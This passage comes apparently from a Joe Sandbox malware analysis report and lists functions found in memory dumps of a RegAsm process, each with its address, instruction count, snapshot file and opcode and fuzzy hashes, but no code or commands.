                                                        • API String ID:
                                                        • Opcode ID: 8315305eaae937511869ec9b403a2e20563a99bbac397d49e7af2cbaf69c5e8d
                                                        • Instruction ID: 583dc6f9f7f4c6a72c10d80f04be86809a19aa266d2852e9789ffa93b15dabda
                                                        • Opcode Fuzzy Hash: 8315305eaae937511869ec9b403a2e20563a99bbac397d49e7af2cbaf69c5e8d
                                                        • Instruction Fuzzy Hash: C0219A75E007159FDB40EF68E980AAEBBF5EB88720F10842AE941F7340E731DC808B90
                                                        Function 066C3B70 Relevance: .1, Instructions: 78COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 4a0af75a28bdf9882824a1fddb4663c0b7a3d1f728f0debc74acebe6652e05b7
                                                        • Instruction ID: 88ac4347405b2a7cc607f214dcaf8e7ba8ff11bc2ae8c9b74fc0e3fa7dee2d15
                                                        • Opcode Fuzzy Hash: 4a0af75a28bdf9882824a1fddb4663c0b7a3d1f728f0debc74acebe6652e05b7
                                                        • Instruction Fuzzy Hash: F7217A75F006159FDB50EF69E980AAEBBF5EB48720F108029E945F7354E731DD818B90
                                                        Function 0113D044 Relevance: .1, Instructions: 72COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2699283355.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_113d000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: f466c2ba7d03f5bbb5b7d5a02d69e38e98ea6d5854a33189f6f2cf1e6a09a16e
                                                        • Instruction ID: 924750f350fee2058a83ceac14c36d1ca354cfb3497b133d750176ac6d53091f
                                                        • Opcode Fuzzy Hash: f466c2ba7d03f5bbb5b7d5a02d69e38e98ea6d5854a33189f6f2cf1e6a09a16e
                                                        • Instruction Fuzzy Hash: 612100B16043049FDF19CF64E984B26FB65FBC4B14F60C5ADE8494B24AC73AD446CA62
                                                        Function 066C3C80 Relevance: .1, Instructions: 59COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 495f84aabaa3f5faf5f0ed34452602019ea4e313c91056bbae501c592aac7451
                                                        • Instruction ID: 4ee1981d2e59da1183b417e897e755a5a86fd22e3e3c4b4d3a2b73bd1dae178e
                                                        • Opcode Fuzzy Hash: 495f84aabaa3f5faf5f0ed34452602019ea4e313c91056bbae501c592aac7451
                                                        • Instruction Fuzzy Hash: EC116D31B105298BDB949A78D8546BE77ABEBC9221F008539D906E7344EE25DC028BA1
                                                        Function 066CEE61 Relevance: .1, Instructions: 58COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: dbeada5f25f858294638cd5d5b738aafcd428c8c687aa8205c7f8e687a7758b5
                                                        • Instruction ID: ce873875fa7a8d9dbf8c901251baa4d5c8a7039ad64a718a7f58b2fed26911d4
                                                        • Opcode Fuzzy Hash: dbeada5f25f858294638cd5d5b738aafcd428c8c687aa8205c7f8e687a7758b5
                                                        • Instruction Fuzzy Hash: EE11C430B10A515FCBA5EA7C9450A2E77E6EBCA660F10842EE51AC7381DA26DC1283D5
                                                        Function 066C3EB7 Relevance: .1, Instructions: 57COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 9aefdf7772c4daddd34408115bafc2cbab4540c3f474d50ae8ef5330343920c4
                                                        • Instruction ID: ad497826fafd4c70c3d9e977a13e1de3db09484ce149c05b6d202680f1b1a675
                                                        • Opcode Fuzzy Hash: 9aefdf7772c4daddd34408115bafc2cbab4540c3f474d50ae8ef5330343920c4
                                                        • Instruction Fuzzy Hash: 9301F131B106610FDB60967DD81472BB7EAEBCA624F14C87EF10AD7346EA55CC028391
                                                        Function 066CA3D1 Relevance: .1, Instructions: 55COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a9bdf5121f03de4c155a5f9141dea144ffcf778085992c32001d647bf90ecbb4
                                                        • Instruction ID: 3eac480767d02b456885ea287a8235aa79b2cc6fdc6a87b3fcd82feae45a653f
                                                        • Opcode Fuzzy Hash: a9bdf5121f03de4c155a5f9141dea144ffcf778085992c32001d647bf90ecbb4
                                                        • Instruction Fuzzy Hash: 5301D430B116245FCB5196BCE86476BB7D6EB86720F10C429F50EC7345DE25DC0987D1
                                                        Function 066C3C71 Relevance: .1, Instructions: 55COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 4a14648a31008a0f23156f14364840b50ca56707f3da442c897f09e608dde076
                                                        • Instruction ID: 850cfdaf004d0211cfc9b8087641608ad7860115bb3b0e700c60dab6ada6e17b
                                                        • Opcode Fuzzy Hash: 4a14648a31008a0f23156f14364840b50ca56707f3da442c897f09e608dde076
                                                        • Instruction Fuzzy Hash: 6E018436B101295BDB949578DC156EF77AFDBC9620F008539D906E3340EE618C4247E2
                                                        Function 066C3939 Relevance: .1, Instructions: 55COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: dcbfef2ad22462929fa38c2cadc448c51a621793b717e2c20307f6b21fad9bcf
                                                        • Instruction ID: 5a6a7b5147b05f0abf343eb45af02739de4d63feade0b29946dc20de33548f52
                                                        • Opcode Fuzzy Hash: dcbfef2ad22462929fa38c2cadc448c51a621793b717e2c20307f6b21fad9bcf
                                                        • Instruction Fuzzy Hash: D32122B1C01659AFCB10DF9AD884ADEFBB4FB48320F10812AE918B3300D774A954CFA4
                                                        Function 0113D03F Relevance: .1, Instructions: 53COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2699283355.000000000113D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0113D000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_113d000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e5598050a76b1bbb03a66d3720a50d8acb638a64c40f8b375dc4a1e083d93ad6
                                                        • Instruction ID: 8e25b9f4a24bbaac26b417d66ac254deee1891c593c8a05003bdd9ff507ef81f
                                                        • Opcode Fuzzy Hash: e5598050a76b1bbb03a66d3720a50d8acb638a64c40f8b375dc4a1e083d93ad6
                                                        • Instruction Fuzzy Hash: E111BB75504284CFCB16CF64D9C4B15FBA2FB84324F28C6A9D8494B656C33AD44ACF62
                                                        Function 066C3940 Relevance: .1, Instructions: 52COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b46f6e5ec1174cb22f10d88b9854f570282cd6f35c6c9de9f836aeaf5adfac20
                                                        • Instruction ID: 328cabe1ddb2415c890674d8201b8288e2876b59d71ddcd7778ecd492e568eb1
                                                        • Opcode Fuzzy Hash: b46f6e5ec1174cb22f10d88b9854f570282cd6f35c6c9de9f836aeaf5adfac20
                                                        • Instruction Fuzzy Hash: 7A11FFB1D01259AFCB00DF9AD884ADEFBB4FB48720F10812AE918B7300D374A944CFA4
                                                        Function 066C3EC8 Relevance: .1, Instructions: 51COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c7f53c566c6f84cebba3dd4c1f1a41e0ea13ad2412eb4285c2a3762a6784a4e4
                                                        • Instruction ID: 6863e5af8f184c3685f772086b564e0ab85135ee1768d63b99e71d462125252b
                                                        • Opcode Fuzzy Hash: c7f53c566c6f84cebba3dd4c1f1a41e0ea13ad2412eb4285c2a3762a6784a4e4
                                                        • Instruction Fuzzy Hash: CE016931B105214FDBA4966DE41072BB2EBEBCAA64F20C83EF10AD7345DA66DC024395
                                                        Function 066CEE70 Relevance: .0, Instructions: 49COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 0dca529c299253ec4bc8a06a384635b4c1f62ddae8c1738d0daf673cd51cab5e
                                                        • Instruction ID: d16d76f94b18b4d6ce20a4c9bfe87957914a4be1bf08c98c76878fcf75ea31e7
                                                        • Opcode Fuzzy Hash: 0dca529c299253ec4bc8a06a384635b4c1f62ddae8c1738d0daf673cd51cab5e
                                                        • Instruction Fuzzy Hash: 75013C31B109215BDBA5A66CD49073F76EBEBCD6A0F20882DE50AC7340EE26DC0643D9
                                                        Function 066CA3E0 Relevance: .0, Instructions: 46COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 3fbc2fe4f8ff5864dffcb686da5017d5639a1aa05631f07c2041437ca82ba76a
                                                        • Instruction ID: 679cda7e1df306b89fc887aab6214031b4aa680909f8a4358c62bde5ac97b2d1
                                                        • Opcode Fuzzy Hash: 3fbc2fe4f8ff5864dffcb686da5017d5639a1aa05631f07c2041437ca82ba76a
                                                        • Instruction Fuzzy Hash: 29018130B105254FDB90DAACD45472AB3D6EB89724F10C82DE50EC7748DE21DC458780
                                                        Function 066CAFE8 Relevance: .0, Instructions: 44COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 08968574da6a08aec2552bb5459046e7f1e3533dab3b78d646fc65a3918b8834
                                                        • Instruction ID: 9d11cc066c910c941e6e23e2a523d4894718c247a56d30ef302945e183bcd7e2
                                                        • Opcode Fuzzy Hash: 08968574da6a08aec2552bb5459046e7f1e3533dab3b78d646fc65a3918b8834
                                                        • Instruction Fuzzy Hash: 77012831F102198BDF649A6CD5427AEBBB9E745334F00443ED92AD7340D631DC4587D1
                                                        Function 066C6540 Relevance: .0, Instructions: 29COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5d590fb61ec9f544456df50b988d867b3b8cf659ff0a843152f201d498b0f31a
                                                        • Instruction ID: aaaa390c48d2a7d6481b8a98ea46c8006bac1957cfabb7c6573bc491c59351b1
                                                        • Opcode Fuzzy Hash: 5d590fb61ec9f544456df50b988d867b3b8cf659ff0a843152f201d498b0f31a
                                                        • Instruction Fuzzy Hash: D4E09230D15248BFDB60DEB4C94566B7BB8DB02254F3048AAD448CB243E536CE018754
                                                        Function 066C4709 Relevance: .0, Instructions: 25COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 69a7740ad0307566e50b7ed0d6413815025334edb707743945a9e3e750315649
                                                        • Instruction ID: 0f9ca4878eb0943cbc6b205f0537fc79cc3a41f94bc4be536182014dd4a35159
                                                        • Opcode Fuzzy Hash: 69a7740ad0307566e50b7ed0d6413815025334edb707743945a9e3e750315649
                                                        • Instruction Fuzzy Hash: 8BF0FE34A20229DFDB54DF90E8687BDBBB2FF88710F204519E502A7394CB741C46DB94